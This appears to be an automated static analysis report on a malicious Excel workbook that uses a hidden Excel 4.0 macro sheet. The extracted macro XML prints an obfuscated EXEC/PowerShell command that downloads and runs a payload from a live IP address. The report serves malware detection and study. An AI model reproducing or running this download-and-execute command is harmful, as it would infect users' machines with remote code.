Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d8dce571e774ee9c…

MALICIOUS

Office (OOXML)

121.7 KB Created: 2019-10-22 07:10:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-30
MD5: 76323b718d61032efb20e3e3c87074db SHA-1: f48289f67e940339b4beb92d5faec1d923e0c6cb SHA-256: d8dce571e774ee9c672f178975963a96fd2e65385b13c13df4ca4c3f8440b0d7
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The sample contains Excel 4.0 macros, specifically using the EXEC function to run a PowerShell command. This command is designed to download and execute a second-stage payload from the reconstructed URL 'http://18.222.206.129/ff.sdk'. The use of dangerous XLM formula APIs like EXEC, RETURN, and HALT indicates a malicious intent to bypass standard macro security and directly execute arbitrary code.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: RETURN, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://18.222.206.129/ff.sdk Referenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1549 bytes
SHA-256: 0417b1cdb7e952d6c52754d7f11937de2adb80d893aa5d58d4a35a06bad4b390
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s).
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A2:A30000"/><sheetViews><sheetView showFormulas="1" tabSelected="1" topLeftCell="A9524" zoomScale="40" zoomScaleNormal="40" workbookViewId="0"><selection activeCell="A9591" sqref="A9591"/></sheetView></sheetViews><sheetFormatPr defaultColWidth="9.140625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="153.5703125" bestFit="1" customWidth="1"/></cols><sheetData><row r="2" spans="1:1" x14ac:dyDescent="0.25"><c r="A2" t="b"><f>RETURN()</f><v>0</v></c></row><row r="9591" spans="1:1" x14ac:dyDescent="0.25"><c r="A9591" s="1" t="b"><f>EXEC("cmd /c powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloAdsTrInG'('ht'+'tp://18.222.206.129/ff.sdk')")</f><v>0</v></c></row><row r="9592" spans="1:1" x14ac:dyDescent="0.25"><c r="A9592" s="1"/></row><row r="30000" spans="1:1" x14ac:dyDescent="0.25"><c r="A30000" t="b"><f>HALT()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/><drawing r:id="rId2"/></xm:macrosheet>

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